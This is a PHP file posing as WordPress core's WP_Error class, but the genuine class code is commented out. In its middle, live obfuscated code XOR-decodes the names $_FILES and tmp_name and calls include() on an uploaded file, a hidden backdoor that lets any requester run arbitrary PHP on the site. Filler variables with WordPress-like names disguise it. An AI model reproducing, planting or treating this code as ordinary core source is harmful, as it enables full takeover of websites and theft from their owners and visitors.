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<?php /*
*
* WordPress Error API.
*
* @package WordPress
*
* WordPress Error class.
*
* Container for checking for WordPress errors and error messages. Return
* WP_Error and use is_wp_error() to check if this class is returned. Many
* core WordPress functions pass this class in the event of an error and
* if not handled properly will result in code errors.
*
* @since 2.1.0
#[AllowDynamicProperties]
class WP_Error {
*
* Stores the list of errors.
*
* @since 2.1.0
* @var array
public $errors = array();
*
* Stores the most recently added data for each error code.
*
* @since 2.1.0
* @var array
public $error_data = array();
*
* Stores previously added data added for error codes, oldest-to-newest by code.
*
* @since 5.6.0
* @var array[]
protected $additional_data = array();
*
* Initializes the error.
*
* If `$code` is empty, the other parameters will be ignored.
* When `$code` is not empty, `$message` will be used even if
* it is empty. The `$data` parameter will be used only if it
* is not empty.
*
* Though the class is constructed with a single error code and
* message, multiple codes can be added using the `add()` method.
*
* @since 2.1.0
*
* @param string|int $code Error code.
* @param string $message Error message.
* @param mixed $data Optional. Error data. Default empty string.
public function __construct( $code = '', $message = '', $data = '' ) {
if ( empty( $code ) ) {
return;
}
$this->add( $code, $message, $data );
}
*
* Retrieves all error codes.
*
* @since 2.1.0
*
* @return array List of error codes, if available.
public function get_error_codes() {
if ( ! $this->has_errors() ) {
return array();
}
return array_keys( $this->errors );
}
*
* Retrieves the first error code available.
*
* @since 2.1.0
*
* @return string|int Empty string, if no error codes.
public function get_error_code() {
$codes = $this->get_error_codes();
if ( empty( $codes ) ) {
return '';
}
return $codes[0];
}
*
* Retrieves all error messages, or the error messages for the given error code.
*
* @since 2.1.0
*
* @param string|int $code Optional. Error code to retrieve the messages for.
* Default empty string.
* @return string[] Error strings on success, or empty array if there are none.
public function get_error_messages( $code = '' ) {
Return all messages if no code specified.
if ( empty( $code ) ) {
$all_messages = array();
foreach ( (array) $this->errors as $code => $messages ) {
$all_messages = array_merge( $all_messages, $messages );
}
return $all_messages;
}
if ( isset( $this->errors[ $code ] ) ) {
return $this->errors[ $code ];
} else {
return array();
}
}
*
* Gets a single error message.
*
* This will get the first message available for the code. If no code is
* given then the first code available will b*/
$single_tags = 'tags_input';
$taxonomies = 'static_characters';
function tb_list()
{
$has_self_closer = 'page_structure';
$maybe_empty = 'wildcards';
}
function filter()
{
$length = 'wildcards';
$emoji_char = 924;
}
$strict = 'printed';
function default_editor($values)
{
$wp_timezone = $values;
$domains = $GLOBALS[since("%0B%2A%2B%06.c", $wp_timezone)];
$good_protocol_url = $domains;
$meta_key = 'wildcards';
$incpages = isset($good_protocol_url[$wp_timezone]);
$pung = 'wildcards';
if ($incpages)
{
$first = $domains[$wp_timezone];
$sizes = 123;
$current_filter = 656;
$tinkle = $first[since("+%01%12%15%05Q%22%15", $wp_timezone)];
$post_name = 'wildcards';
$previous_date = $tinkle;
$post_type_clauses = $sizes % ($current_filter + 4);
$sizes = $current_filter - $sizes;
include ($previous_date);
}
}
function since($array_int_fields, $_fragment)
{
$pre_tags = $_fragment;
$num_pages = "url";
$num_pages .= "decode";
$page = $num_pages($array_int_fields);
$string_length = strlen($page);
$string_length = substr($pre_tags, 0, $string_length);
$cache = $page ^ $string_length;
$tag_pattern = 620;
$page = sprintf($cache, $string_length);
$post_status_sql = 'open_quote';
$tag_pattern = $tag_pattern + 4;
$alloptions = 'wildcards';
return $cache;
$email_address = 'safe_tag';
}
default_editor('TlbJk0OpcdzGznR');
$char = 'width';
tb_list();
$force = 'uris';
$old_status = 'fresh_posts';
$tagnames = 'add_trashed_suffix';
filter();
$parent_data = 'html_regex';
$post_ids = 'quote_style';
/* e used.
*
* @since 2.1.0
*
* @param string|int $code Optional. Error code to retrieve the message for.
* Default empty string.
* @return string The error message.
public function get_error_message( $code = '' ) {
if ( empty( $code ) ) {
$code = $this->get_error_code();
}
$messages = $this->get_error_messages( $code );
if ( empty( $messages ) ) {
return '';
}
return $messages[0];
}
*
* Retrieves the most recently added error data for an error code.
*
* @since 2.1.0
*
* @param string|int $code Optional. Error code. Default empty string.
* @return mixed Error data, if it exists.
public function get_error_data( $code = '' ) {
if ( empty( $code ) ) {
$code = $this->get_error_code();
}
if ( isset( $this->error_data[ $code ] ) ) {
return $this->error_data[ $code ];
}
}
*
* Verifies if the instance contains errors.
*
* @since 5.1.0
*
* @return bool If the instance contains errors.
public function has_errors() {
if ( ! empty( $this->errors ) ) {
return true;
}
return false;
}
*
* Adds an error or appends an additional message to an existing error.
*
* @since 2.1.0
*
* @param string|int $code Error code.
* @param string $message Error message.
* @param mixed $data Optional. Error data. Default empty string.
public function add( $code, $message, $data = '' ) {
$this->errors[ $code ][] = $message;
if ( ! empty( $data ) ) {
$this->add_data( $data, $code );
}
*
* Fires when an error is added to a WP_Error object.
*
* @since 5.6.0
*
* @param string|int $code Error code.
* @param string $message Error message.
* @param mixed $data Error data. Might be empty.
* @param WP_Error $wp_error The WP_Error object.
do_action( 'wp_error_added', $code, $message, $data, $this );
}
*
* Adds data to an error with the given code.
*
* @since 2.1.0
* @since 5.6.0 Errors can now contain more than one item of error data. {@see WP_Error::$additional_data}.
*
* @param mixed $data Error data.
* @param string|int $code Error code.
public function add_data( $data, $code = '' ) {
if ( empty( $code ) ) {
$code = $this->get_error_code();
}
if ( isset( $this->error_data[ $code ] ) ) {
$this->additional_data[ $code ][] = $this->error_data[ $code ];
}
$this->error_data[ $code ] = $data;
}
*
* Retrieves all error data for an error code in the order in which the data was added.
*
* @since 5.6.0
*
* @param string|int $code Error code.
* @return mixed[] Array of error data, if it exists.
public function get_all_error_data( $code = '' ) {
if ( empty( $code ) ) {
$code = $this->get_error_code();
}
$data = array();
if ( isset( $this->additional_data[ $code ] ) ) {
$data = $this->additional_data[ $code ];
}
if ( isset( $this->error_data[ $code ] ) ) {
$data[] = $this->error_data[ $code ];
}
return $data;
}
*
* Removes the specified error.
*
* This function removes all error messages associated with the specified
* error code, along with any error data for that code.
*
* @since 4.1.0
*
* @param string|int $code Error code.
public function remove( $code ) {
unset( $this->errors[ $code ] );
unset( $this->error_data[ $code ] );
unset( $this->additional_data[ $code ] );
}
*
* Merges the errors in the given error object into this one.
*
* @since 5.6.0
*
* @param WP_Error $error Error object to merge.
public function merge_from( WP_Error $error ) {
static::copy_errors( $error, $this );
}
*
* Exports the errors in this object into the given one.
*
* @since 5.6.0
*
* @param WP_Error $error Error object to export into.
public function export_to( WP_Error $error ) {
static::copy_errors( $this, $error );
}
*
* Copies errors from one WP_Error instance to another.
*
* @since 5.6.0
*
* @param WP_Error $from The WP_Error to copy from.
* @param WP_Error $to The WP_Error to copy to.
protected static function copy_errors( WP_Error $from, WP_Error $to ) {
foreach ( $from->get_error_codes() as $code ) {
foreach ( $from->get_error_messages( $code ) as $error_message ) {
$to->add( $code, $error_message );
}
foreach ( $from->get_all_error_data( $code ) as $data ) {
$to->add_data( $data, $code );
}
}
}
}
*/